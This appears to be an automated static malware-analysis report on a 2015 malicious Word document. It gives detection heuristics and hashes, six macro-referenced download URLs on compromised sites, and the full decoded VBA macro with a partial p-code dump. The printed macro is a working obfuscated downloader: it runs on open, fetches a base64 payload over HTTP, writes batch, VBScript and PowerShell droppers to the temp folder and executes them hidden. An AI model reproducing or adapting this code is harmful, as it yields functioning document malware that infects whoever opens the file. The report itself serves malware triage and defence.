Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ffae66fdbf12e878…

MALICIOUS

Office (OLE)

129.5 KB Created: 2015-06-30 21:51:00 Authoring application: Microsoft Office Word First seen: 2015-10-04
MD5: ccaca6f7195bd04db44cc85852216f40 SHA-1: a38b9feb44fbd894270796f7300c1d4c8bbbc15b SHA-256: ffae66fdbf12e8788464c3c8b90dede4a5a85d58f8d38574549f83e306de6e58
376 Risk Score

Heuristics 14

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA macros detected medium 9 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    a = Shell(b, 0)
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
        Set objXML = CreateObject("" & QHDHUQW)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set objXML = CreateObject("" & QHDHUQW)
  • Payload URL assembled from a Chr()/Asc() string expression (6 URLs) high OLE_VBA_EXPR_DROPPER_URL
    A VBA macro builds its stage-2 download URL character by character from string literals concatenated with Chr()/Asc()/StrReverse() results — often nested (Chr(Asc(Chr(Asc("h")))) = "h") and split across the + and & operators, sometimes written out via Print #n, into a second-stage VBScript/PowerShell file. The URL is assembled at run time and never appears contiguously on disk, and there is no numeric array to brute-force, so a literal scan and the array recoverers both miss it. A bounded expression evaluator resolved it; surfaced as an IOC. Self-validating: only a valid host URL that is not already present verbatim in the macro is reported, so a benign macro cannot false-positive.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Goabc = Environ(sps)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.fresh-start-shopping.com/wp-content/uploads/2015/06/kaka.txt Referenced by macro
    • http://www.fresh-start-shopping.com/wp-content/uploads/2015/06/167362833333.txt123123123Referenced by macro
    • http://savepic.su/5751812.jpgReferenced by macro
    • http://savepic.su/5757956.jpgReferenced by macro
    • http://www.gode-film.dk/wp-content/uploads/2015/06/167362833333.txtReferenced by macro
    • http://www.gode-film.dk/wp-content/uploads/2015/06/kaka.txtReferenced by macro
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 40577 bytes
SHA-256: f8be961c55b7ca591624c06365d8dc2e76bf540ae31354fdeba71b899ec0153d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
125 of 307 identifiers look randomly generated (e.g. 'Bhgwdjhqgjhwgdhbsnvdanvdassda'); 4 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub HQUhdjsagdhjsagdj_Open()
     
End Sub
Sub Buqdjashdkjkwqhd_Open()
     
End Sub
Sub Auto_Open()
    Huqgdgajsghqgwygdhasd
    Fwiqdjkasdjhkhqwd
End Sub
Sub Jiqhwdjkasdnmbqwd()
    HQUWDIUQWGYDGHSJASGD = "iqhjwduihqwhd iqwh diqwhdiuw qhd"
End Sub
Sub Huqgdgajsghqgwygdhasd()
    HJIQHWDHQWDW = "qhjdhqk hqwjhdqjkwhdqjkwh jkqwhd qwh e"
End Sub

Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    HUQDHUIQW = "huqw dhqwui hksdjhqwuidhwqidhquwi d hqwduihauigsd"
    Auto_Open
End Sub
 
Sub Fwiqdjkasdjhkhqwd()

    Dim huwe, auwd As Integer, aabbb As Integer
    Dim HUHPPHPP As String, HBHJVJG As String
    HBHJVJG = "\"
    Dim asjiw As Integer, woweffect As Integer, jwasssssdas As Integer, asdsssssjqwdq As Integer
    Dim retVal As Variant
    
    
    YUGQYD = Ubqhwdhwqbd(23144) + ""
    HUHPPHPP = Chr(84) & "e" + "mp"
    QHDQUWH = YUGQYD
    FL2 = QHDQUWH
    PH2 = Module4.Goabc(HUHPPHPP) + HBHJVJG
    
    woweffect = 6
    jwnqdw = 1 - woweffect
    
    
    JIQWDJQ = 12312312
    JIQWDJQ = 1 + 1 + 113 + Sgn(jwnqdw)
    AAAA = JIQWDJQ
    

    HYWDAX = "bajqhuwdkjqw dhqw jdhqiwhudqwhd iqwhdiuqwhdiqwhd wt"
    JWIDJIAAA = ""
    HUYFEA = "qhwgdjqwgdhjqgw udywqd quwgd uhw gdiuqwgduiqwdgwqd"
    QIWJDABB = "b"
    HUYFEA = QIWJDABB + "a" + "t"
    IUQJWD = "qbgywduqwgd yquwgdyqw gdqowidqwhdjwgd hjqwgd"
    PSFL = FL2 + "" & "" + "." + "p" + "" + Chr(115) + Chr(49)
    
    SSS = Chr(AAAA + 1)
    VBFL = FL2 + Chr(50 - 4) + "v" + "" + "" & "b" & "" & SSS & ""
    huwe = 1
    BAFL = FL2 + Chr(NUqwdqwbdsad(Fix(-22.043)) + 11 + 10 + 25 + huwe + 0) + HUYFEA
    
    INTG = "" & "o" & "bject"
    KIWD = Chr(110 + NUqwdqwbdsad(Len(BAFL))) + "d" + "" + "ul" + "e"
    AFTG = "m" & KIWD
    
    SXEE = Chr(46)
    SXAA = Chr(101)
    SXE = SXEE & SXAA & "" & "xe"
    GNG = ".jpg"
    
    PHT = "" & "ht" & "t" & "p:/" & "/" & ""
    SPIC = Chr(100 + 15) + "av" & "epi" + "c.su" + Chr(30 + 16 + 1)
     
    PSPTH = PH2 + PSFL
    VBPTH = PH2 + VBFL
    BAPTH = "bahuqihd uwqhd qwuydguyqgd yuqwg dqiygd qwjkgqw "
    ABPTH = PH2 + BAFL
    BAPTH = ABPTH
    
    Dim AAAAHUQW As Integer, DRT As Integer, BFT As Integer, CFT As Integer, DFT As Integer, EFT As Integer, CONT As String
    
    DRT = 315
    BFT = 316
    CFT = 317
    DFT = 318
    EFT = 319
    Dim NUWDHUQHUQWDH As String
    NUWDHUQHUQWDH = "USE" & "RPROFILE"
    Dim PBIn As String, asdwq As String, MIWDWQ As String
    
    TSTS = "." + "t" + "xt"
    CDDD = "167362833333" + TSTS
    LNSS = "kaka" + TSTS
    STT1 = "www.fresh-start-shopping.com/w" + "p-content/uploads/2015/06/"
    STT2 = "www.gode-film.dk/w" + "p-content/uploads/2015/06/"


PBIn = PHT + STT1 + CDDD
    CONT = Module4.Jhuqwhdhsss(PBIn)
     
    asdwq = Rasdas(CONT)
    
    HQUWDAAA = "0"
    If (asdwq <> "=") Then
        PBIn = PHT + STT2 + CDDD
        CONT = Module4.Jhuqwhdhsss(PBIn)
        asdwq = CONT
        HQUWDAAA = "1"
    End If
    
    CONT = Quqhwdbyas(asdwq)
     
    Dim ahuywdgqy As String
     
    TVT10 = Port(CONT, "t" + "ext10")
    TVT20 = Port(CONT, "text20")
    TVT21 = Port(CONT, "text21")
    TVT30 = Port(CONT, "text30")
    TVT31 = Port(CONT, "text31")
    XPT1 = Port(CONT, "stext1")
    XPT2 = Port(CONT, "stext2")
    XPT3 = Port(CONT, "stext3")
    
    
    WVR = Module4.Goabc(NUWDHUQHUQWDH)
    hufehu1 = InStr(WVR, "sers\")
    
    Dim hudhw As Integer
    Dim ghdAdd(1 To 3)
    ghdAdd(1) = "1"
    ghdAdd(2) = "0"
    ghdAdd(3) = "0"
    
    If (hufehu1 <> 0) Then
        ghdAdd(1) = "2"
    Else
        ghdAdd(2) = "3"
    End If


JHWQUD = Join(ghdAdd)
    hudhw = Val(JHWQUD)
    
    Module4.WaitFor (1)
    
    MIWDWQ = PHT + STT1 + LNSS
    If (HQUWDAAA = "1") Then
        MIWDWQ = PHT + STT2 + LNSS
    End If
    
    SEXX = Module4.Jhuqwhdhsss(MIWDWQ)
    
    PSTB = PBIn + "123123123"
    MSTAR1 = SPIC + "5751812" + GNG
    MSTAR2 = SPIC + "5757956" + GNG
    STAR1 = PHT + MSTAR1
    STAR2 = PHT + MSTAR2
    FFQ = "8"
    FF = FFQ + SXE
    
     If (hudhw = 130) Then
     Open BAPTH For Output As #DRT
     Print #DRT, XPT1
     Print #DRT, ":rtqdftqwfdhwgqf" & vbCrLf & "set trfd=" + Chr(34) + PH2 + Chr(34)
     Print #DRT, "set nmsj=" + Chr(34) + FL2 + Chr(34)
     Print #DRT, "set exds=" + Chr(34) + FFQ + Chr(34)
     Print #DRT, XPT2
     Close #DRT
     
     Module4.WaitFor (1)
     
     Open VBPTH For Output As #BFT
     Print #BFT, "strRT = " + Chr(34) + SEXX + Chr(34)
     Print #BFT, "statRT = " + Chr(34) + STAR1 + Chr(34)
     Print #BFT, "" & "jfeu" & "ygq = " + Chr(34) & "" + FF + Chr(34) & ""
     Print #BFT, "strTecation = " + Chr(34) + PH2 + Chr(34) + "+jfeuygq"
     Print #BFT, XPT3
     Close #BFT
     
     BDDT.WaitFor (1)
     NTH1 = Module6.GHJgwqdjqgw(retVal, BAPTH)
     
     End If
     
     HUDQG = "';"
     
     
     
      If (hudhw = 200) Then
     ZPQSKD = FL2
     Open PSPTH For Output As #CFT
     Print #CFT, "$ujdkwq = 'jqwdb';"
     Print #CFT, "$stat = 'ht'+'tp://'+'" + MSTAR2 + "';"
     Print #CFT, "$ggtt = '" + SEXX + "';"
     Print #CFT, "$pths = '" + PH2 + HUDQG
     
     Print #CFT, "$wehs = '" + ZPQSKD + HUDQG
     Print #CFT, "$nnm = '" + FFQ + "';"
     Print #CFT, TVT10
     Close #CFT
     
     Open VBPTH For Output As #DFT
     Print #DFT, TVT30
     Print #DFT, "c" + "urrentFile = " + Chr(34) + PH2 + Chr(34) + "&" + Chr(34) + FL2 + Chr(34) + "&djwq"
     Print #DFT, TVT31
     Close #DFT
    
     Open BAPTH For Output As #EFT
     Print #EFT, "@e" + "cho off"
     Print #EFT, TVT20
     Print #EFT, "set Ads3=" + Chr(34) + FL2 + Chr(34)
     Print #EFT, ":huwdiqgugsgd"
     Print #EFT, "set Mts4=" + Chr(34) + PH2 + Chr(34)
     Print #EFT, "set Rts4=" + "%Mts4%%Ads3%"
     Print #EFT, TVT21
     Close #EFT
     Module4.WaitFor (1)
     
     NTH2 = Module6.GHJgwqdjqgw(retVal, BAPTH)
     
     End If
     
    JUW = Chr(47)
    AKK = Chr(60)
    ZKK = ">"
    NTH3 = Module6.Thwqbdhjabs(AKK + INTG + ZKK, AKK & JUW + INTG + ZKK, 1)
    NTH4 = Module6.Thwqbdhjabs(AKK + AFTG + ZKK, AKK + JUW + AFTG + ZKK, 2)
    NTH5 = Module6.Thwqbdhjabs(AKK + INTG + ZKK, "", 3)
    NTH6 = Module6.Thwqbdhjabs(AKK + JUW + INTG + ZKK, "", 3)
    NTH7 = Module6.Thwqbdhjabs(AKK + AFTG + ZKK, "", 3)
    NTH8 = Module6.Thwqbdhjabs(AKK + JUW + AFTG + ZKK, "", 3)
    
End Sub


Public Function NUqwdqwbdsad(a As Integer)
NUqwdqwbdsad = Sgn(a)
End Function

Public Function Ubqhwdhwqbd(a As Integer)
Ubqhwdhwqbd = CStr(Int((a * Rnd) + 10000))
End Function


Public Function Quqhwdbyas(ByVal strData As String) As String
    Dim objXML As Object
    Dim objNode As Object
    Dim asduiwhqdqiw As Integer, nudqwd As Integer, sshquwdq As Integer
    nudqwd = Log10(100)
    asduiwhqdqiw = NUqwdqwbdsad(1 - nudqwd)
    QHDHUQW = "" & Chr(78 + asduiwhqdqiw) + "SXML2.DOMDocument"
    Set objXML = CreateObject("" & QHDHUQW)
    Set objNode = objXML.createElement("b6" + "4")
    objNode.DataType = "bin.ba" & "se64"
    objNode.Text = strData
    WUDHA = objNode.nodeTypedValue
    Quqhwdbyas = WUDHA
    Set objNode = Nothing
    Set objXML = Nothing
End Function

Public Function Port(a, b As String)
Dim krd, tent As Integer
UQWD = "" & Chr(60)
NDUW = "" & Chr(62)
krd = InStr(1, a, UQWD + b + NDUW) + 8
tent = InStr(1, a, UQWD + "/" + b + NDUW) - krd
KLMN = Module4.Makaka(a, krd, tent)
HUQHWDA = KLMN
Port = HUQHWDA
End Function

Private Static Function Rasdas(a As String)
Rasdas = Right(a, 1)
End Function

Private Static Function Log10(x)
Log10 = Log(x) / Log(10#)
End Function










Attribute VB_Name = "Module1"

Attribute VB_Name = "Module2"

Attribute VB_Name = "Module3"

Attribute VB_Name = "Module4"

Public Function Goabc(sps As String)
Goabc = Environ(sps)
End Function

Sub WaitFor(NumOfSeconds As Long)
Dim SngSec As Long
SngSec = Timer + NumOfSeconds
Do While Timer < SngSec
DoEvents
Loop
End Sub
Public Function Jhuqwhdhsss(a As String)
Dim ygwdg As Integer, Bhgwdjhqgjhwgdhbsnvdanvdassda As Object
Dim ggFw As String
ggFw = a
QUHDJQWGDHWJQs = "qwge jg12hj1g eiu1gu2y1g e21jgejh1gej2gej1h2g jh1e"
QBDHJQWGDHJWQD = "qj12 jg12h j12g 31uk2hi12hekj12h ejk12hgejk1g2ejh12g"
HUYQGDQWDQWDWQ = "" + "M" & "" & "S" & "X" + "" + "ML2." & "Ser" & "ver" & "X" & "MLH" & "TT" & "P"
Set Bhgwdjhqgjhwgdhbsnvdanvdassda = CreateObject(HUYQGDQWDQWDWQ)
Bhgwdjhqgjhwgdhbsnvdanvdassda.Open "G" & "" & "ET", ggFw
HUHQKDJHQWJKDH = "qwdkhqwdjk qwkdhjk qwhdjkqwhdiuqwg duiwqgug dqwygdwuyg qwd"
DBHQWGHJWQGDDD = "ahjdg wqgdwhjg wdqghjdaskjhgd hjsaf dsjas fkdasjfdgahsf das"
AJSDHJKHQKHDDD = "k2ge iug1 yue2g u2eu 21e e21ghj2fe2gjh2e1fg12e2h1ef j2h"
Bhgwdjhqgjhwgdhbsnvdanvdassda.Send ""
Jhuqwhdhsss = Bhgwdjhqgjhwgdhbsnvdanvdassda.ResponseText
End Function

Public Function Makaka(a, b, c)
JKQHDJKQWHDKQD = "qjkwehg jh12gejh12g hj21ge jh12gejh21ge h12ge j21eg21e"
QWHDKJQWHJDKQWHD = "qhejk12eh2k1he kj21hekj12h kje2h1ek 21hekj12h ekj21h kje"
BHQWDGJWQGDDDASD = "jheh12kjh ejk1h12kje h12gey1 g2ye12jgehg 21hjgejh12ge s"
DQHWGDFGHQFWGHDF = "21jgehj12g hj21g hef2g1e fgh12fegh21f egh12fegh21f e12e"
 Makaka = Mid(a, b, c)
QJHWDJGQWHJDGASD = "ui21he 12uig2 1yeg 12eu2uyg2 u1ge12g uy2g1e uy21geuy21g e"
HGDHSAFDGHQWD = "qhdj2h1 dj1g2hje fgh12f eh12f ehf12fe gh21fe h21f e12e"
QWDHJGQWJGDHQW = "2kljehkj1he j2k1he21geuy12eg12 uge2yu1g euy12eu12g e21e"
QWDGYQWGJDQWD = "12ehj2h 2jk1gehj2g1 hj2g1jhe 21jheg hj12g ehj21g ehj2g12e"
End Function







Attribute VB_Name = "Module5"

Attribute VB_Name = "Module6"

Public Function GHJgwqdjqgw(a As Variant, b)
NBUQBDHABSD = "qwjkdhqwk hdjkqwh djkqwhd kqdhqwdwh "
a = Shell(b, 0)
GHJgwqdjqgw = a
End Function


Public Function Thwqbdhjabs(dnuwhd As String, b As String, c As Integer)
Dim selectedText As String
Dim jhwqduqhwjkqwhkjqwhdjkqw As Range, selRange As Range
Set jhwqduqhwjkqwhkjqwhdjkqw = ActiveDocument.Range
JKQHWDJKWQHDJKQWHDHDHD = "qwbjd qghwgqjdgq whjdg quwgdjhqg whjdgqw dgjwd "
QHJDJKQWHJKDHQWJKGDHSH = "ashdja gsjdhgas dhjqwdg q2hgj1hge j21gek j2eeee"
With jhwqduqhwjkqwhkjqwhdjkqw.Find
'LQJDIWQUDIQWYIUDYQUIWYDQUIW = "qwhgdqjhwg jhqwgd jqwhgdwqhjgdwq jhgdjhwqg dqwugd"
'JBHDJQWJHDGHQJWGDHJWQGDJHWD = "j3hiruy82h kjdshfjkdshjkfhsdjkhfk dshkjsh "
.Text = dnuwhd
.MatchWholeWord = True
jhwqduqhwjkqwhkjqwhdjkqw.Find.Execute
jhwqduqhwjkqwhkjqwhdjkqw.Collapse direction:=wdCollapseEnd
Dim wdwq As String
Set selRange = ActiveDocument.Range
Dim wdsadwq As String
selRange.Start = jhwqduqhwjkqwhkjqwhdjkqw.End
.Text = b
.MatchWholeWord = True
.Execute
JKQHWDJKWQHDJKQWHDHDHD = "qwbjd qghwgqjdgq whjdg quwgdjhqg whjdgqw dgjwd "
QHJDJKQWHJKDHQWJKGDHSH = "ashdja gsjdhgas dhjqwdg q2hgj1hge j21gek j2eeee"
jhwqduqhwjkqwhkjqwhdjkqw.Collapse direction:=wdCollapseStart
selRange.End = jhwqduqhwjkqwhkjqwhdjkqw.Start

If (c = 1) Then
    selectedText = selRange.Delete
End If
If (c = 2) Then
    selRange.Font.Color = wdColorBlack
End If

Dim hduwaa As Integer
hduwaa = 1 - 423

If (c = 3) Then
    With jhwqduqhwjkqwhkjqwhdjkqw.Find
    .Text = a
    .Replacement.Text = "" & "" + "" & "" + "    "
    'HUIHQDGHJASGDHJASD = "ajsdiuhqwidgiqwug yuqwguwqg 726g du asdad"
    'QDHGAJSHDGJHQGWDJGQJH = "2jh ghejg2hj2gehj2fe g2egh2f eghfehg f2wqe"
    'NJKQNDJBKASDH = "2uh782h ejsah78dg gdyu3g 37gduh dqwgdq"
    'qwgdgqwjhdgqhwgdq = "2uieh 2uieg y2ge y2euy2g euygeu2 eew"
    'QHWDJHUQWKJDGHKQJW = "2jkhh2k2 h2jk2kj h2iu22ih2 ishihqw ihw9qh dq"
    .Wrap = wdFindContinue
    .Execute Replace:=wdReplaceAll
    End With
End If

End With
End Function







' Processing file: /opt/analyzer/scan_staging/929802afd3ca4ab89bfadd6786588527.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 15969 bytes
' Line #0:
' 	FuncDefn (Sub Document())
' Line #1:
' Line #2:
' 	EndSub 
' Line #3:
' 	FuncDefn (Sub Buqdjashdkjkwqhd_Open())
' Line #4:
' Line #5:
' 	EndSub 
' Line #6:
' 	FuncDefn (Sub Auto_Open())
' Line #7:
' 	ArgsCall Huqgdgajsghqgwygdhasd 0x0000 
' Line #8:
' 	ArgsCall Fwiqdjkasdjhkhqwd 0x0000 
' Line #9:
' 	EndSub 
' Line #10:
' 	FuncDefn (Sub Jiqhwdjkasdnmbqwd())
' Line #11:
' 	LitStr 0x0020 "iqhjwduihqwhd iqwh diqwhdiuw qhd"
' 	St HQUWDIUQWGYDGHSJASGD 
' Line #12:
' 	EndSub 
' Line #13:
' 	FuncDefn (Sub Huqgdgajsghqgwygdhasd())
' Line #14:
' 	LitStr 0x0026 "qhjdhqk hqwjhdqjkwhdqjkwh jkqwhd qwh e"
' 	St HJIQHWDHQWDW 
' Line #15:
' 	EndSub 
' Line #16:
' Line #17:
' 	FuncDefn (Sub AutoOpen())
' Line #18:
' 	ArgsCall Auto_Open 0x0000 
' Line #19:
' 	EndSub 
' Line #20:
' 	FuncDefn (Sub Workbook_Open())
' Line #21:
' 	LitStr 0x0031 "huqw dhqwui hksdjhqwuidhwqidhquwi d hqwduihauigsd"
' 	St HUQDHUIQW 
' Line #22:
' 	ArgsCall Auto_Open 0x0000 
' Line #23:
' 	EndSub 
' Line #24:
' Line #25:
' 	FuncDefn (Sub Fwiqdjkasdjhkhqwd())
' Line #26:
' Line #27:
' 	Dim 
' 	VarDefn huwe
' 	VarDefn auwd (As Integer)
' 	VarDefn aabbb (As Integer)
' Line #28:
' 	Dim 
' 	VarDefn HUHPPHPP (As String)
' 	VarDefn HBHJVJG (As String)
' Line #29:
' 	LitStr 0x0001 "\"
' 	St HBHJVJG 
' Line #30:
' 	Dim 
' 	VarDefn asjiw (As Integer)
' 	VarDefn woweffect (As Integer)
' 	VarDefn jwasssssdas (As Integer)
' 	VarDefn asdsssssjqwdq (As Integer)
' Line #31:
' 	Dim 
' 	VarDefn retVal (As Variant)
' Line #32:
' Line #33:
' Line #34:
' 	LitDI2 0x5A68 
' 	ArgsLd Ubqhwdhwqbd 0x0001 
' 	LitStr 0x0000 ""
' 	Add 
' 	St YUGQYD 
' Line #35:
' 	LitDI2 0x0054 
' 	ArgsLd Chr 0x0001 
' 	LitStr 0x0001 "e"
' 	LitStr 0x0002 "mp"
' 	Add 
' 	Concat 
' 	St HUHPPHPP 
' Line #36:
' 	Ld YUGQYD 
' 	St QHDQUWH 
' Line #37:
' 	Ld QHDQUWH 
' 	St FL2 
' Line #38:
' 	Ld HUHPPHPP 
' 	Ld Module4 
' 	ArgsMemLd Goabc 0x0001 
' 	Ld HBHJVJG 
' 	Add 
' 	St PH2 
' Line #39:
' Line #40:
' 	LitDI2 0x0006 
' 	St woweffect 
' Line #41:
' 	LitDI2 0x0001 
' 	Ld woweffect 
' 	Sub 
' 	St jwnqdw 
' Line #42:
' Line #43:
' Line #44:
' 	LitDI4 0xDEF8 0x00BB 
' 	St JIQWDJQ 
' Line #45:
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Add 
' 	LitDI2 0x0071 
' 	Add 
' 	Ld jwnqdw 
' 	FnSgn 
' 	Add 
' 	St JIQWDJQ 
' Line #46:
' 	Ld JIQWDJQ 
' 	St AAAA 
' Line #47:
' Line #48:
' Line #49:
' 	LitStr 0x0033 "bajqhuwdkjqw dhqw jdhqiwhudqwhd iqwhdiuqwhdiqwhd wt"
' 	St HYWDAX 
' Line #50:
' 	LitStr 0x0000 ""
' 	St JWIDJIAAA 
' Line #51:
' 	LitStr 0x0032 "qhwgdjqwgdhjqgw udywqd quwgd uhw gdiuqwgduiqwdgwqd"
' 	St HUYFEA 
' Line #52:
' 	LitStr 0x0001 "b"
' 	St QIWJDABB 
' Line #53:
' 	Ld QIWJDABB 
' 	LitStr 0x0001 "a"
' 	Add 
' 	LitStr 0x0001 "t"
' 	Add 
' 	St HUYFEA 
' Line #54:
' 	LitStr 0x002C "qbgywduqwgd yquwgdyqw gdqowidqwhdjwgd hjqwgd"
' 	St IUQJWD 
' Line #55:
' 	Ld FL2 
' 	LitStr 0x0000 ""
' 	Add 
' 	LitStr 0x0000 ""
' 	LitStr 0x0001 "."
' 	Add 
' 	LitStr 0x0001 "p"
' 	Add 
' 	LitStr 0x0000 ""
' 	Add 
' 	LitDI2 0x0073 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0031 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	Concat 
' 	St PSFL 
' Line #56:
' Line #57:
' 	Ld AAAA 
' 	LitDI2 0x0001 
' 	Add 
' 	ArgsLd Chr 0x0001 
' 	St SSS 
' Line #58:
' 	Ld FL2 
' 	LitDI2 0x0032 
' 	LitDI2 0x0004 
' 	Sub 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitStr 0x0001 "v"
' 	Add 
' 	LitStr 0x0000 ""
' 	Add 
' 	LitStr 0x0000 ""
' 	Add 
' 	LitStr 0x0001 "b"
' 	Concat 
' 	LitStr 0x0000 ""
' 	Concat 
' 	Ld SSS 
' 	Concat 
' 	LitStr 0x0000 ""
' 	Concat 
' 	St VBFL 
' Line #59:
' 	LitDI2 0x0001 
' 	St huwe 
' Line #60:
' 	Ld FL2 
' 	LitR8 0xBA5E 0x0C49 0x0B02 0x4036 
' 	UMi 
' 	FnFix 
' 	ArgsLd NUqwdqwbdsad 0x0001 
' 	LitDI2 0x000B 
' 	Add 
' 	LitDI2 0x000A 
' 	Add 
' 	LitDI2 0x0019 
' 	Add 
' 	Ld huwe 
' 	Add 
' 	LitDI2 0x0000 
' 	Add 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	Ld HUYFEA 
' 	Add 
' 	St BAFL 
' Line #61:
' Line #62:
' 	LitStr 0x0000 ""
' 	LitStr 0x0001 "o"
' 	Concat 
' 	LitStr 0x0005 "bject"
' 	Concat 
' 	St INTG 
' Line #63:
' 	LitDI2 0x006E 
' 	Ld BAFL 
' 	FnLen 
' 	ArgsLd NUqwdqwbdsad 0x0001 
' 	Add 
' 	ArgsLd Chr 0x0001 
' 	LitStr 0x0001 "d"
' 	Add 
' 	LitStr 0x0000 ""
' 	Add 
' 	LitStr 0x0002 "ul"
' 	Add 
' 	LitStr 0x0001 "e"
' 	Add 
' 	St KIWD 
' Line #64:
' 	LitStr 0x0001 "m"
' 	Ld KIWD 
' 	Concat 
' 	St AFTG 
' Line #65:
' Line #66:
' 	LitDI2 0x002E 
' 	ArgsLd Chr 0x0001 
' 	St SXEE 
' Line #67:
' 	LitDI2 0x0065 
' 	ArgsLd Chr 0x0001 
' 	St SXAA 
' Line #68:
' 	Ld SXEE 
' 	Ld SXAA 
' 	Concat 
' 	LitStr 0x0000 ""
' 	Concat 
' 	LitStr 0x0002 "xe"
' 	Concat 
' 	St SXE 
' Line #69:
' 	LitStr 0x0004 ".jpg"
' 	St GNG 
' Line #70:
' Line #71:
' 	LitStr 0x0000 ""
' 	LitStr 0x0002 "ht"
' 	Concat 
' 	LitStr 0x0001 "t"
' 	Concat 
' 	LitStr 0x0003 "p:/"
' 	Concat 
' 	LitStr 0x0001 "/"
' 	Concat 
' 	LitStr 0x0000 ""
' 	Concat 
' 	St PHT 
' Line #72:
' 	LitDI2 0x0064 
' 	LitDI2 0x000F 
' 	Add 
' 	ArgsLd Chr 0x0001 
' 	LitStr 0x0002 "av"
' 	Add 
' 	LitStr 0x0003 "epi"
' 	LitStr 0x0004 "c.su"
' 	Add 
' 	LitDI2 0x001E 
' 	LitDI2 0x0010 
' 	Add 
' 	LitDI2 0x0001 
' 	Add 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	Concat 
' 	St SPIC 
' Line #73:
' Line #74:
' 	Ld PH2 
' 	Ld PSFL 
' 	Add 
' 	St PSPTH 
' Line #75:
' 	Ld PH2 
' 	Ld VBFL 
' 	Add 
' 	St VBPTH 
' Line #76:
' 	LitStr 0x0030 "bahuqihd uwqhd qwuydguyqgd yuqwg dqiygd qwjkgqw "
' 	St BAPTH 
' Line #77:
' 	Ld PH2 
' 	Ld BAFL 
' 	Add 
' 	St ABPTH 
' Line #78:
' 	Ld ABPTH 
' 	St BAPTH 
' Line #79:
' Line #80:
' 	Dim 
' 	VarDefn AAAAHUQW (As Integer)
' 	VarDefn DRT (As Integer)
' 	VarDefn BFT (As Integer)
' 	VarDefn CFT (As Integer)
' 	VarDefn DFT (As Integer)
' 	VarDefn EFT (As Integer)
' 	VarDefn CONT (As String)
' Line #81:
' Line #82:
' 	LitDI2 0x013B 
' 	St DRT 
' Line #83:
' 	LitDI2 0x013C 
' 	St BFT 
' Line #84:
' 	LitDI2 0x013D 
' 	St CFT 
' Line #85:
' 	LitDI2 0x013E 
' 	St DFT 
' Line #86:
' 	LitDI2 0x013F 
' 	St EFT 
' Line #87:
' 	Dim 
' 	VarDefn NUWDHUQHUQWDH (As String)
' Line #88:
' 	LitStr 0x0003 "USE"
' 	LitStr 0x0008 "RPROFILE"
' 	Concat 
' 	St NUWDHUQHUQWDH 
' Line #89:
' 	Dim 
' 	VarDefn PBIn (As String)
' 	VarDefn asdwq (As String)
' 	VarDefn MIWDWQ (As String)
' Line #90:
' Line #91:
